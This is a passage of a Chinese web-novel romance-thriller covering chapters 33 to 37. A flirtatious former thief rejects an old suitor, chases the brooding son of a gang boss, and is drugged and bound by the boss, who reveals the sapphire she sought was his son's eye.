“哦,这个呀……”南希觉得这俩人眼熟,但想不起是谁,一边尴尬抬手回应,一边冲手机压低声音,“这个没开玩笑,我认真的。我想过了,我拿着现在赚的钱,去投个资,也能够我花一辈子。” “……小张,你是不是遇到什么难处了?你跟我说说,我帮你……” “诶,刘总,要不我也给你投点?你那房地产生意要是好好搞,说不定会很有前途。” “我的小生意,哪能跟组织比……” 这时,一道急切的问候盖过了刘总的声音—— “南希同学!” 南希循声看去,刚才和她打招呼的同学后面,还跟着仨穿相同制服的高个儿男生。中间那个皮肤白净,眉目清秀,一眼帅哥。 这是…… 她前不久才撩过的学长? 南希心里一慌,下意识挂断电话,压低下巴,转身就逃。 “等等!” 身后有人追来,速度很快。 “别躲着我了……好吗?” 这声音里似乎带着一种委屈的哭腔。 “小希……” 好像真要哭了…… 南希于心不忍,终是停住了脚步。 回头。 一双红肿的眼睛正痴痴地盯着她,眼眶挂着一圈水润的东西。 南希心虚:“那个,是学长呀,好久不见……” 她眯着眼,表情生硬,话也说得磕绊,任谁见了都能看出她在强装从容。 但学长竟松了口气。 “是啊,好久不见……” “啊呵呵……”南希找话题,“……学长,你们这是有活动?”她提着自己的衣领,视线落在学长的制服上。 学长垂眼看看:“嗯,合唱团活动,你想参加吗?” “我?不行,我五音不全的。”南希笑起来,“不过,这衣服挺帅的,很适合你,我喜欢。” 学长眉心渐蹙,如水的眼底荡起了一圈圈涟漪。 南希意识到危机,迅速避开对方的眼睛,已经在琢磨逃走的借口。 “小希……” 然而,学长并没有给她逃走的机会,只顿了一刹,又继续说道,“我还以为再也见不到你了……上次在明月湖边,你和我说以后不再联系了,我虽然当时就答应了,但后来才发现,自己其实并没有想象中那么洒脱……这段时间,我总会不经意想起我们之前的事,也总是忍不住想再见你一面。我试着找过你几次,不过都没能遇到你……二月十四号那天,我给你准备了你喜欢的巧克力蛋糕,也给你打过电话,不过你没接。后来才听你室友说起,你的腿摔伤了,最近一直在休养。不知道你现在好些了吗?” 周围散场的合唱团成员越来越多,已经有人凑过来,开始起哄。 南希只想找个洞钻进去。 在她的印象里,学长害羞腼腆,一逗就脸红,可这会儿怎么能当着这么多人的面说出这样的话? 造孽…… 她抬头,对上学长的炙热的目光:“那个,早就好了,别担心……” 说这话时,她想起二月十四号,手机里多出了几个陌生号码的未接来电……想起去年冬天,学长骑单车载她,她包里的摩托罗拉“哔”个不停……想起她为专心完成蓝宝石任务,快刀斩乱麻,与学长决绝分手…… 她花心,不是没心,对学长,她有愧。 想到这,南希眼里的光竟也变得温柔起来。 或许这缕光触动了这个男人,学长藏在眼里泪终于落下,颤颤地向前一步,拉起南希的手,像是受了万般委屈:“我明白,小希……我们可能,不是一个世界的人。你用的东西,去的地方,都是我平时接触不到的。有时候看到你,会觉得你像站在很远的地方,那么好看,又那么明亮。我也明白,或许你的家人会说,我配不上你。但我会拼尽全力去努力,一点一点把能力攒起来……小希,能再给我一次机会吗?” 话说得真挚,就差掏心肺了。 南希却听懵了,中间好几次想打断他,眼里的柔光也渐渐变成了疑惑。 事情到了这步,周围起哄的声音里多出了一句句“给他机会”、“答应他”…… 好像如果南希拒绝,就会引发众怒似的。 她满身冷汗,进退两难。就在这时,边上乱七八糟的声音被一阵爆炸的尖叫覆盖。 随后,周围又涌来如蚊虫嗡鸣般的窃窃私语: “啊啊啊!你们看,那个人是谁……?” “好帅,太帅了……” “是咱学校的吗?怎么以前没见过?” …… 人们的视线聚集在远处,竟连学长也越过了她,朝她身后望去。 南希转过头。 “真像大明星啊!” “你看他那个眼神,好酷啊……” “他的左眼怎么带着眼罩?” 眼罩?! 仅一瞬间,南希后背凉意四起。 她的眼睛也已经捕捉到了,那个突如其来的焦点—— ——刀刻的深邃眉眼,剑削的高耸鼻峰,雪凝的冷白肌肤。 气质威严却阴森,身形高瘦却挺拔。 温,雪,生?! 第34章 火山 周围的骚动像水面的涟漪,迅速扩散。 南希的心也越来越沉。 温雪生就站在不远处的树下,目光沉静地落在她这里——或者说,是落在她和学长依然虚握着的手上。 他的脸色比平时更白,漆黑的眼底没什么情绪,却渗着一种无形的压力。 边上不少目光在他和南希之间巡回。 南希像被烫到一样,猛地抽回了手。 学长察觉到她的异样,低声问:“小希,你认识那个同学?” 南希张了张嘴,还没发出声音,温雪生动了。 他一步步走过来,步子不算快,却十分沉稳。 人群自发地让开一条路。 温雪生穿着简单的白色呢子大衣,黑色长裤,整个人带着一股生人勿近的冷意。那只犀利的右眼始终盯着南希,周遭的一切议论似乎都与他无关。 温雪生生气了,很生气。 他生起气来虽然不说话,但眼神能冻死人。 南希下意识屏住呼吸,手指悄悄蜷起来,准备迎接他冰冷的怒火。 然而,温雪生径直走到了她面前,近得她能闻到他身上淡淡的、像是消毒水混合着梅花香的味道。然后,他就那么面无表情地,从她身边走了过去。 他的衣角带起微弱的气流,拂过她的手背,微微发凉。 他根本没有一丝停留的意思。 周围的议论声更大了。 南希怔在原地,一种说不清是松了口气还是失落的情绪涌上来。 学长望着温雪生的背影,轻轻蹙眉,然后转回头,温和地说:“那个人……看起来不太好接近。”他又自然地想伸手去拉南希的手腕,“小希,我们先去别的地方吧。” 南希却下意识地避开了。 学长的手僵在半空,气氛有些微妙。 就在这时,已经走远的温雪生突然停住脚步。他稍稍侧脸,声音不高,却穿透了细碎的嘈杂,落在南希和学长的耳朵里。 “不认识。”? 南希懵了一秒,猛地反应过来,温雪生这是在回答学长刚才的问题。可他这回答太生硬,太刻意,不光学长,周围看热闹的人脸上都写满了不信。 窃窃私语声再次响起。 学长上前半步,挡住南希。 “这位同学,既然不认识,请不要打扰我们。”他的语气尽量保持礼貌,却还是一下子就激怒了温雪生。 南希眼看着温雪生的脸由白变黑,再由黑变红,在她准备承受火山爆发之时,一个穿着夹克服、看起来三十多岁的中年男人,从旁边的小路跑了过来。 不少同学认出那是计算机学院年轻有为的宫副教授。 宫教授气喘吁吁的,看到温雪生后,脸上立刻有了笑,老远就喊:“少……”他顿了下,扫了眼周围的人群,立马改口:“雪生!你到了怎么也不打电话?” 温雪生压下火,侧过身,可语气还是不怎么友好:“学生到学校上课,还需要说什么?” 宫教授瘪嘴,像是真的思考了一番:“也是。哎呀,走走走,别站这了,快上课了,我先带你去教室。”他伸手引路。 温雪生便没再说话,跟着宫教授走了,自始至终没再看南希一眼。 人群炸开了锅。 “这到底谁啊?让宫教授亲自来接?” “还那么拽……” “人家那是酷!” “酷得太冷了点儿……” 南希完全没意识到自己的视线一直跟着温雪生,直到学长的话将她拉回。 学长声音很低,带着一丝不易察觉的紧绷:“其实,你们认识,对吗?” “小希……” “小希?” “啊……”南希回过神,“怎么了?” 学长温柔摇头:“没事……” 没想到周围竟有同学凑上来:“有事有事!刚才那个帅哥是计院的吗?大几呀?你们什么关系啊?” 南希心里本就乱,面对这突然抛过来的一连串问题,只记住了最后的“什么关系?”。 她想起温雪生被她按在床上时隐忍抿紧的唇角,想起他被她逗得耳根通红却强装镇定的眼睛,想起他生气低吼“谁让你说我是你男朋友”时忽闪忽闪的睫毛…… 她抬起眼,一摊手:“哎呀,他啊,我男朋友。” 周围瞬间一片惊叹。 学长的表情彻底变了,他注视南希,声音干涩:“……什么时候的事?那天……你拒绝我,是因为他吗?” 南希寻思了寻思。 她拒绝学长,是因为蓝宝石任务,而蓝宝石任务又与温雪生有关。 也算是因为他。 她点头承认:“嗯,是这样。学长,其实我啊,从小就喜新厌旧,对什么事都三分钟热度。你也看到了,我先是勾搭你,后来又勾搭了别人。虽然我这样说可能会让你不开心,可我真的一看到别的帅哥,就把你给忘了……唉,见一个爱一个的毛病,我这辈子怕是都改不了。学长,我跟你想象中的那个完美女孩就不是一个人,我以前都是装的。现在咱们说开了,我也不用装了,舒坦自在多了,你就别再我身上耗时间了。好了,学长,该说的我都说了,拜拜,保重。” 说完,她不等对方回应,转身就朝温雪生离开的方向追去。 可是,那个清瘦的少年早已不见了影儿。 南希停下脚步,心里有些烦。 按温雪生曾说的,他从不上学,都是教授去他家里单独授课。所以他今天莫名其妙出现在校园里,本身就很不寻常…… 她得找到他,去问问他,是不是出了什么事…… 这么想着,南希脑海里突然闪过温雪生冰冷的眼神,心里不由一怵。 要不,还是打电话问吧……现在科技好了,什么事不能电话里说…… 她一边想,一边低着头,慢悠悠地在校园里逛荡,等她再抬起脑袋时,发现自己不知不觉走到了计算机学院楼下。 身体一紧。 计算机学院? 这不就是温雪生的学院吗? 她转身想逃。 可几乎同一时间,她的目光扫过一面巨大的玻璃窗。 窗户后面,温雪生正坐在教室里,侧脸对着她,眼神专注地望着前方讲台,似乎在认真听讲。 阳光透过玻璃,柔和地打在他的上半身,让他白皙的皮肤显得十分透亮。 南希停下了脚步。 她站在楼下,隔着一段距离和一层玻璃,默默地看他。 看了很久。 风吹过,野猫跑过。 那玻璃后面的人似是学累了,不经意地转过头。 两人的视线,便隔着那一段距离和那一层玻璃,撞在了一起。 一堂课结束了,讲台上的宫教授开始收拾讲义。 几乎同时,温雪生座位旁迅速被一群学生围住,大部分是女同学。她们的身影挡住了南希的视线。 “靠!” 南希感到扫兴,她拔腿跑进教学楼,穿过走廊,径直冲进那间教室,拨开簇拥的女同学,一把抓住温雪生放在桌面上的手。 “跟我出来。”她不等他反应,在众人惊讶的目光中,用力把他从座位上拉起,拉离了人群,拉出了教室。 温雪生像是懵的,任由她拉着,直到被拉进走廊,他才甩开她,力道不大,却很坚决。 “我们认识吗?”他的眼神恢复了之前的疏离。 南希无奈:“小生生,你这是打算跟我装不认识到什么时候?我是哪里得罪你了吗?” 温雪生别开脸,声音硬邦邦的:“七天,一个礼拜。” 嗯? 南希满脸困惑:“什么七天?” 温雪生见她完全不明白,心头那道憋闷的火更盛。 他不再看她,转身就往教室走,只是在拐进门口的瞬间,用余光迅速扫了眼身后。 她并没有追来。 一股强烈的后悔和失落霎时将他攫住。 过去的那一个礼拜,南希就像人间蒸发了一样,没去找过他。 他每天都在等,趴在窗边,守在电话旁,甚至装作不经意地问过李大发有没有找他的电话。 答案都是没有。 他便倔起来,既然她不找他,那么他也绝不主动找她。 七天,整整七天,他硬撑着没拨出那个烂熟于心的电话号码。直到前天,宫教授到温沙城堡给他上课,他才意识到济东大学已经开学很久了,她也许会出现在校园里。 于是,他第一次主动提出去学校上课,心里抱着那么一点点渺茫的、能“偶遇”她的希望。 没想到,希望竟轻松实现,还真让他给“偶遇”到了。 他一进入校园,就看见她被一个男人牵着。那个男人,眉清目秀,他不得不承认,他长得确实不错。 脑子里瞬间不受控制地冒出刘总曾提过的什么强,什么小帅,什么硕硕…… 一股混合着酸楚、怒火和耻辱的情绪顿时从心底窜起,直冲头顶,几乎要将他整个人炸开。 他只有一个念头,再也不要认识她,再也不要见到她! 可是,为什么……为什么当她真的没跟上来时,真的要见不到她时,他会这样后悔,就像是心被掏空了…… 但他仍倔强地走回了教室。 眼前还是那群眼睛发亮的女同学,她们窃窃私语,目光在他身上来来回回、上上下下。 “他好像是……温氏的大少爷……” “公子哥儿啊……” 又是这些称呼。 温雪生心底泛起厌烦。 宫教授穿过她们走来,笑着打趣:“雪生,怎么,你女朋友走了?”他是极少数敢跟温雪生这样开玩笑的人。 温雪生板着脸:“不要乱说,那不是我女朋友。” “哦,真不是女朋友?”宫教授挑眉。 “不是。” “哎呀,那可惜了。”宫教授摇摇头。 温雪生心念微动,下意识追问:“可惜什么?” “我感觉那女孩漂亮又灵动,跟你现在的样子还挺配的。而且,”宫教授顿了顿,意味深长地补充,“我见她刚才看你的眼神,好像很喜欢你呢。” 温雪生心跳漏了一拍,他很相信宫教授。宫教授博学多才,不仅专业能力强,还很会作诗,说的话大都是对的。 他犹豫了几秒,突然很想问清楚那是什么样的眼神,又是什么样的喜欢。 可在这一刻,他的视线被窗外掠过的人影抓住。 南希站在那里,就在教学楼外。 而她面前,是一个穿着皮衣、身形健硕的短发男人。 那男人在说,南希在笑。 更刺眼的是,南希仰头看着他,眼睛里有光在闪。 那是一种他无比熟悉的光——就在不久前,他还在上课的时候,她站在差不多的位置,也那样看过他…… 怒气像火山,终于在他胸腔里爆发,烧光了他所有的理智和克制。 温雪生推开挡在门口叽叽喳喳的女同学,甚至顾不上跟宫教授说一句话,大步流星地冲出了教室。 第35章 心太软 阳光晃得温雪生眼睛发花。 脚步停在教学楼前的空地上,然后,他急切地环顾四周。 学生们三三两两路过,自行车铃声“叮叮”作响……可是这些景象和声音都像是隔着一层透明的膜,遥远而模糊,无法真正传入他的感知。 没有。 没有…… 哪里都没有南希的身影…… 空茫感像潮水般涌上,似乎还裹着一种被遗弃的冷意。 温雪生觉得太阳穴的位置一阵阵钝痛,同时眼前闪过几个小黑点,接着越来越多,越来越密,像一群躁动的飞虫。 然后,他的世界开始旋转、扭曲,他感到脚下的地面变成了海浪中的甲板,晃动得他想吐。他试图伸手扶住什么,却只抓到一片虚无。 身体也不受控制地晃了起来。 他直直地向前砸去。 * 七分钟前。 温雪生甩开南希走向教室。 南希正要喊他,眼角余光突然瞥到走廊尽头一个虚闪而过的人影。 如果她没看错,那人穿着皮衣、留着利落短发—— 张笑远。 眼前,温雪生已经赌气地拐进教室,她便没再管他,转身朝皮衣男消失的地方追了出去。 在教学楼前,她追上了他,一把抓住他的胳膊,喊:“喂!” 那皮衣男转过头,果然是她认识的张笑远。 张笑远眼神清亮,并没有感到意外的样子。 “你好,又见面了。” 可南希很意外:“你,你好?张笑远,你怎么在这?你不会也是这儿的学生吧?” 张笑远微微歪头:“为什么说‘也是’?” 南希想起她知道温雪生是自己校友时的震惊感觉,找到了这个问题的答案。但她不想跟张笑远解释别的男人的事,便含糊了过去,张笑远也没追问,他继续着刚才的话题:“我不是济大的学生,我是来找朋友的。” “哦,朋友。”南希随口猜,“这个朋友该不会是你那‘破晓’里的一员吧?” 张笑远眼睛一亮,点头:“是。” “啊?我说中了?”南希不敢相信,“你没骗我吧?” “没有。”张笑远注视她,语气肯定,“你很聪明。” “呵呵呵,还好还好……”南希尴尬,看向别处。 济东大学的校园很大,楼和楼之间的间隔很远,这附近就只有计算机学院的教学楼。 南希恍然意识到,张笑远要找的人,多半也是这个学院的。 这时,她的目光不经意瞥过刚才那面大玻璃窗。 她一眼就看到了温雪生。 他已经回了教室,周围又堆上了不少同学。因为他个子高,即使被人围着,也能露出清晰的肩膀线条。而他身前,宫教授正穿过簇拥的学生走向他。 南希突然冒出一个新奇的念头,她转回头,双眼放光:“那我再猜猜,你要找的那个‘破晓’成员,该不会是计算机学院的宫教授吧?” 张笑远脸上难得露出一丝诧异,虽然很快收敛,但也没逃过南希的眼睛。 他正要开口说些什么,忽然又笑了笑:“想知道答案?就跟我来这边。”说着,他拉起南希的手腕,不容分说地带她拐进教学楼侧面的一个小门,然后顺手带上厚重的玻璃门,装作自然地扫了眼门外—— ——温雪生刚跑出主楼,正站在空地上四处张望。 张笑远收回目光,看向南希,依旧自然:“你认识宫教授?” 南希一怔:“怎么?你想带我找他?” 她想起温雪生也在宫教授那边,想起自己刚刚的不告而别……连忙表明立场:“我提前说,我不去啊。” 张笑远又若无其事地看了眼玻璃门。 门外,温雪生抬手捂着胸口,身体摇摇晃晃的,给人一种站立不稳的感觉。他不禁蹙起眉头,转而问南希:“据我所知,你不是这个学院的,为什么会出现在这里?” “我啊。”南希一瘪嘴,“自然也是来找朋友的。” “什么朋友?” 南希本想直接说“男朋友”,但看着张笑远那张端正俊朗的脸,话到嘴边又改了口:“你见过的,常跟着我的那个温大少。” 张笑远脸色沉了沉,语气变得严肃:“你上次说他是你男朋友,是真的吗?” 南希凭借对男人的了解,觉得张笑远这是在意她的反应,心里有点窃喜,故意反问:“你希望是真的吗?”这句话的尾音略略上扬。 哪料,张笑远眉头皱得更紧,像是听到了什么难以理解的问题:“什么叫我希望?” 南希靠近一步,脸上带着点勾引意味的笑:“怎么,吃醋了?” 张笑远后退,与南希拉开距离,神情困惑:“吃醋?我不懂你在说什么。我只是想告诉你,离那个温少爷远一点。他父亲的身份你应该清楚,跟他牵扯越深,对你越没好处。而且我不怕告诉你,‘破晓’最近的目标之一就是他父亲。你要想加入我们,就不能跟他走得太近。” 南希脸上的笑淡了下去,窃喜感也烟消云散。 一来,她跟谁走得近是她的自由,她不喜欢被人指手画脚;二来,她压根没想加入张笑远那个幼稚的二百五组织;三来,张笑远看起来是个木头疙瘩,对男女之情一窍不通,压根儿就不是她以为的吃醋。 她扯了扯嘴角,半真半假地回:“好啊,我可以考虑离温大少远一点。但你也知道,他好歹算是我男朋友,离他远点儿就意味着得跟他分手,分手了我可就单身了,我会很孤单、很寂寞的。”她顿了顿,眼神故意在张笑远身上流转,“你看,这些损失都是你造成的,你欠我一个男朋友,得想办法还给我。” 张笑远显然没料到这个逻辑,怔住:“怎么还?” 南希在心里翻了个白眼,然后继续挑逗,眼神似是打量,又似是勾引:“要不,你以身相许?当我男朋友怎么样?你这张脸,比起温大少,虽说差了那么一点儿,不过也算勉强合格。” 张笑远猛地睁大眼睛,脸上竟浮现出怒气:“胡闹!大事未成,理想还没实现,我怎么能沉溺于儿女私情,浪费时间谈恋爱交女朋友?!”他义正言辞,像是在宣读什么誓言,宣完,他又说了句“你好好考虑下我的话,一定不要跟那个温少爷走得太近。还有,如果你决定加入我们,随时可以去开运全羊馆找我。”,然后,他转身离开,步伐又快又稳。 南希望着他毫不留恋的背影,愣在原地,半晌,才无奈地叹了口气。她觉得,好像还是温雪生更有意思些。 她决定去找他。 眼前,张笑远已经消失在走廊拐角,她便朝着那个方向走去。 她推测张笑远大概要去找宫教授,而温雪生应该还跟宫教授待在一起。 可没走几步,她又突然刹住脚——如果这样追过去,很可能会被温雪生撞见她和张笑远前一后出现,以温雪生敏感多疑又爱生气的性子,他肯定又会火山爆发,到时候就更难哄了。 想到这里,南希像朵蔫了的花,软软地靠在了墙上。 她不愿再寻思这烦心事,打开剑桥包,从里面拿出一个崭新的银色随身听,索尼的,花了她一千多块人民币,算是给自己庆祝隐退的小礼物。 随身听里装着任贤齐去年年底发行的新专辑,里面的主打歌《心太软》火得一塌糊涂,大街小巷都在放。 她戴上耳机,按下播放键,任贤齐富有磁性的声音流淌出来: “你总是心太软,心太软,独自一个人流泪到天亮……” “你无怨无悔地爱着那个人,我知道你根本没那么坚强……” 歌声冲刷着南希纷杂的思绪,忽然,像一道闪电般划破了迷雾。 她猛然意识到,之前温雪生那句硬邦邦的“七天,一个礼拜”是什么意思。 在过去的整整七天,他们没有任何联系,也没见过面。 他是在怪她一个礼拜没找他? 一种莫名的、酸涩的情绪登时蔓延全身。 怎么回事,她竟有些想见到他…… 她便又仔细体会了下自己的感觉。其实这种感觉,在过去的七天里也隐隐存在过。但那七天她太忙,她经历了寻找小王、决定隐退等一系列复杂的事。 而且,就算她没经历那些,她也很难去找他吧……毕竟以前去找他,多少都带着点“正事”的由头,或是送人,或是为了任务……她还从来没试过无缘无故、单纯想见他了就去爬城堡三楼。难不成,她要突然跑去跟他说“喂,小生生,我想你了,我们睡一觉吧”然后又走掉?这显得她太变态了点儿……虽然,在他心里,她大概已经跟“变态”划上等号了…… 一遍《心太软》唱完,南希又按下倒带键听第二遍。 期间,有几个女生手挽手经过,她们一边窃窃私语一边偷偷瞅她。 她不认识那几个女生,但认得她们的眼神和动作——混合着打量、八卦和羡慕的眼神和动作。 南希心想,她们估计在温雪生的教室里碰到过,看来那边的课已经完全散了,而且过了这么久,张笑远应该也走了吧…… 耳机里再次响起“你总是心太软……”。 南希不再犹豫,飞快地跑向温雪生刚才所在的教室。 教室里果然空荡荡的,只有一个值日生在慢吞吞地擦黑板。 南希扶着门框,气息还没完全平复,急喘地问:“同学,请问宫教授呢?” 值日生头也没抬:“早走了。” “那,温雪生呢?” 值日生茫然地转过头,摇了摇。 南希摘掉一个耳机,伸手指向靠窗的位置,一边说一边比划:“就是刚才坐那里的男同学,很高,很白,不太爱说话,看起来有点儿拽,不太好接近。” 值日生恍然大悟:“哦,你说他啊!他刚才在外面晕倒了!就是楼前那块空地,然后很快来了几个穿黑衣服的人,把他扶上车接走了。” 第36章 温四爷 随身听里,任贤齐正好唱到:“夜深了你还不想睡,你还在想着他吗?” 南希的心一沉,像是瞬间掉进了冰窟。她扔下句“谢谢”,转身就跑出教学楼,一路狂奔到校园停车场,跳上切诺基,点火发动。 引擎低吼了几声,切诺基如同脱缰的野马,冲出校门,汇入车流,向郊区狂飙。 她不知道温雪生被带去了哪儿,也许是温沙城堡,也许是卢氏医院,也许是温四爷的老巢…… 可不管是哪儿,她都要亲眼确认。 大概一个小时后,伴着一个急刹,切诺基停在温沙城堡外围山坡。 多年的职业敏感,让南希在停车的瞬间就绷紧了神经。 城堡周边,肉眼可见的,多了一圈正在巡逻的黑衣保安。整栋建筑透出的气息,也比以往任何时候都要压抑。 第六感疯狂报警,告诉她温雪生在这,而且出事了。 这种情况,她绝对不能从正门进去,也不能贸然爬上三楼。她把切诺基停在隐秘处,决定耐心等待进入城堡的时机。 天色渐渐黑透了,黑衣保安开始换岗交接,温沙城堡的戒备终于出现了短暂的空隙。 就是现在! 她像过去无数次那样,奔跑起来,身影在黑暗中几个起落,然后敏捷地攀上城堡三楼。 那扇熟悉的窗户没锁,她轻轻一推就开了,像是有人故意留的。 屋子里没开灯,一片漆黑。 南希探出头,压低声音喊:“小生生?” 也没有人回答。 危险的预感已经飙到顶点,但她还是咬紧牙关,轻盈地跳进房间,凭借记忆,摸黑向床边走去。 月光勉强透进来一点,勾勒出床上瘦长的人形轮廓。 她心里又是一紧,夹杂着惊疑和一丝残存的希望,然后她加快脚步靠近,伸手推了推那个人。 “喂……” “小生生?” 床上的人被她推动,不自然地转过头。 借着朦胧月光,一张完全陌生的、瘦削得像猴子一样的脸浮现在南希眼前。 那张脸没有任何表情,眼神阴沉而空洞。 几乎同一时间,南希闻到一股刺鼻的药味。 这药味她无比熟悉。 因为这种药她曾在任务中用过太多太多次。 迷药! 脑中刚闪过这两个惊悚的字眼,她就及时赌住了口鼻,但还是晚了一步,迷药在刹那间钻入她的鼻腔,渗入她的血液,虽然不多,却足以令她意识迷乱,眼前发花。 下一瞬,那猴子男不知从哪儿摸出一根麻绳,只见他甩手一挥,那麻绳稳准地将南希套了个圈。 南希感到麻绳瞬间收紧,她被拽得一个趔趄,迷乱感更重,天花板和地板在视野里不断交换位置。 她干脆放弃反抗,保存所剩无几的力气,任由自己摔倒在地,然后贴着消毒水味很重地毯,大口大口喘着粗气。 身后,那猴子男跳下床,冲着眼前的黑暗说:“爸,办好了。” 他语气里带有明显的讨好,就像是在跟领导汇报工作。 南希这才意识到房间里还有第三个人。 但是—— 爸? 她感到惊讶,却没时间细想什么,只听“咔嚓”一声,顶灯骤亮,刺目的白光让她瞬间闭上了眼。 “重明,把灯调暗些。”角落里传来了声音,很温和,甚至算得上慈祥。 “是。”那猴子男立马应声。 很快,房间的明灯暗了。 南希终于能睁开眼,缓缓抬起了头。 墙角的沙发上,坐着一个穿深灰中山装,老式黑布鞋的中年男人。 那张沙发她常坐,如果没记错,她和温雪生还在上面口口过…… “你是张南希?”中年男人开口,目光平静。 南希艰难地拨正自己混乱的意识,看过去。 那人身形匀称,不胖不瘦,头发是灰白色的,应该有些年龄,但是脸上的皱纹并算是多,依稀可见他年轻时的俊朗模样。 乍一看,这似乎是一个英俊且朴素的中年男人,可再一看,就会被他周身散发的压迫感震住,连整个房间的空气都因此变得沉重了。 看到这,南希对这人的身份已经有了预判,但又想到猴子男刚刚叫的那声“爸”,又对自己的预判产生了怀疑。 “我爸问你话呢!你是不是张南希!?”猴子男突然嚷起来。 眼前,那中年男人的脸倏地恍惚了。 南希连忙压低下巴,挤出一个“是”字。 长时间的抬头加剧了她的迷乱和眩晕,声音里透着一种虚弱感。 “我在这里等你很久了。”中年男人似乎笑了下,语气更加慈祥,就像跟晚辈拉家常一样。 南希扯了扯嘴角,想回笑,却没笑出来。 “劳您大驾……不知,您怎么称呼?” 中年男人避而不答,反倒关心起她:“你脸色很差。重明,你去给张小姐拿把椅子。” 那猴子男收到命令,利落地搬来一把木椅。 南希抬眼瞅瞅椅子,又瞅瞅自己身上捆得结实的麻绳,可算笑了出来:“您这是啥意思?让我绑着坐椅子?您这待客之道,还真是有些奇特呢……不过,谢了。”她没有逞强,身体朝那猴子男晃了几下,“我起不来,坐不了,要不,少爷扶我?” 猴子男发出“嘶”的一声,似乎想要骂娘,可当着他老爹的面又不好发作,只能咬牙扶南希坐上木椅。 那中年男人便再次开口:“重明是我的干儿子。” 这句话是在解释。聪明人之间的对话一点就通,南希刚才的“少爷扶我”其实是在跟他确定重名的身份。 她的问题抛出来了,就看对方接不接了。 没想到,中年男人不仅接了,还没让南希继续猜下去,竟然直接自报家门:“我姓温,单名一个四字。” 温四,济东无人不知无人不晓的black社会大佬,温雪生牛x哄哄的老爸。 在济东,几乎没人敢直呼他的名字,大家说起他时都会尊称一声温四爷。 果然跟她预判的一样—— “温四爷……”南希重复了一遍,然后强迫自己直视他,“您费这么大力气‘请’我来,是为了温雪生吗?” 温四微微颔首,双手优雅地交叠在膝盖上:“雪生脾气倔,最近这段时间做了一些出格的事。我听说,你和他走得很近……” 这话过于官方客套,南希不禁烦躁起来,而且迷药的作用也让她比平时缺少了些耐心。 “是啊……等等,你不会一直在监督自己的儿子吧?”她打断温四,“温雪生现在在哪儿啊?他不在自己房间……难不成你把他关起来了?” “你他妈跟谁说话呢!”重明听不下去,挥拳想教育南希,却被温四制止。 温四好像没有因为南希的冒犯而生气,他语调不变:“你既然出现在这里,应该已经知道雪生病了。他现在,正在卢氏接受治疗。” 南希的意识飘回三个月前,温雪生躺在她的粉色小床上,浑身滚烫,热汗涔涔,像是快死了…… 她心里一颤,急问道:“他到底得了什么病啊?我见过他发病,能吓死个人!不过最近他的脸白净了,气色也好了很多,我还以为他已经没事了……” 温四叹了口气,那声叹息里带着一种沉重的无奈:“雪生中了毒。他小时候遭到绑架,被人下了毒,九死一生。我倾尽全力为他解毒,最后也只找到了抑制毒素的方法,命是保住了,但是他的根基已经受损。这些年,我想尽各种办法为他调养,尽量事事顺他的心意。他想看欧洲古堡,我为他建;他喜好清静,我就为他辟出独居的地方……这样保养着,他的身体终于有所好转了……唉,只不过,这次发病……”他顿了顿,目光扫过南希,“医生坦诚地告诉我,雪生情况十分严重,远胜以前的任何时候。” 南希的心揪紧了,声音不稳。 “为,为什么?” “医生说,他这次发病与情绪波动有关。”温四慈祥地微笑,却字字清晰,“情绪引发的病症,药是治不好的,必须找到影响他情绪的根源,然后,”他做了一个斩断的手势,“彻底掐灭。” 南希僵住,后背泛起凉意,电视里演的那些black社会杀人于无形的画面闪过脑海。 她猛地抬头,装作难以置信:“你……你该不会认为我就是那个‘根源’吧?”她鼓足勇气盯紧对方,捕捉到温四浅淡笑容里藏得极深的刀。 温四同样没有错过南希脸上复杂的情绪变化——前一秒,她还在担心他的儿子,后一秒就把这些着急的情绪全放在了自己身上。 温四嘴角的弧度加深了些,眼底浮上一丝难以察觉的杀意,如同暗流涌动。 沉默在两人之间蔓延,空气仿佛凝结了,房间里只剩下南希略显急促的呼吸声,以及窗外偶尔传来的细微风声。 温四交叠手指轻轻敲击手背,他虽然只是静静地看着南希,但那目光仿佛有千钧重。 南希感到身上的秋衣已经被冷汗浸透,麻绳似乎勒得更紧了。 终于,温四打破了这令人窒息的死寂:“别慌,我只是想请你帮个小忙。”然后,他朝南希身后的重明递去一个眼神。 重明会意,上前一步,右手探向口袋。 就在这一刹那,南希猛然从椅子上弹起,动作快得只留下一道残影。 只见她敏捷转身,抬腿翻到椅背之后,在重明惊愕的瞳孔下一晃而过,随即以手作刀,精准狠厉地劈上重明的后颈。 重明那猴子眼往天上一翻,连哼都没哼一声,直接栽倒在地。 几分钟前,重明用迷药偷袭南希,她借用捂口鼻的机会,将一粒解药塞进了嘴里。 她毕竟是大名鼎鼎的“红发女鬼”,职业习惯让她随身携带各种应急的东西,迷药解药自然也在其中。只是解药生效需要时间,她耐着脾性与温四周旋,既为拖延,也为观察,更为等待体内药物发挥效果。 她向来狗屎运,就豪赌一把,赌自己的运气比温四好上那么一点。 果然,赌赢了,时机刚好,她的意识和部分体力在周旋中恢复,让她得以在重明下手前先发制人。 不过,虽然一击得手,面对温四爷,南希也不敢有丝毫的松懈和得意。她稍稍侧身,露出半张脸,算是留给温雪生他爹最后一点礼节:“叔叔,抱歉,这个忙,我帮不了。”话音未落,她就转身扑向敞开的窗户,准备逃走。 这时,温四的声音再次在身后响起。 “那块蓝宝石,你还记得吗?” 第37章 烂醉 他的语调仍旧不紧不慢,却像无形的障碍绊住了南希的脚。 南希脑中“嗡”的一声,温雪生深邃如海洋般的蓝色左眼,以及躺在盒子里熠熠生辉的蓝宝石,清晰地浮现出来。 不祥的预感从头顶浇下,她走得越来越慢,全身的感官似乎都在等待温四的下一句话。 “那颗蓝宝石,就是他的左眼。” 那句话来了,像一道惊天的霹雳,“也是压制雪生体内毒素的关键。” 南希心跳失控,哐哐地撞击胸口。 她想起来,这段时间,她一次都没见过温雪生的左眼,无论是他俩聊天时还是在床上翻滚时,温雪生始终带着黑色眼罩,那眼罩就像长在他身上了一样…… 她不喜欢窥探别人的秘密,便没多问过什么,还以为温雪生是自卑,怕别人看到自己奇怪的左眼……可此时此刻,一个惊悚的猜测占据了她的整个大脑…… 温四的话还在继续,很快印证了这个猜测。 “作为父亲,我不称职。我今天才查清楚,三个月前,雪生就找人挖了他的左眼,取出了那块蓝宝石,然后……送了出去……” 南希被钉在了原地。 “所以,你现在,还想这样一走了之吗?” 南希感到自己快要被温四压扁、压烂、压出喷涌的血浆。 她杵在窗边,白色纱帘在夜风下狂乱飞舞,肆意击打她的脸。 拳头被死死攥紧,指甲深陷进掌心,视线落在窗外。 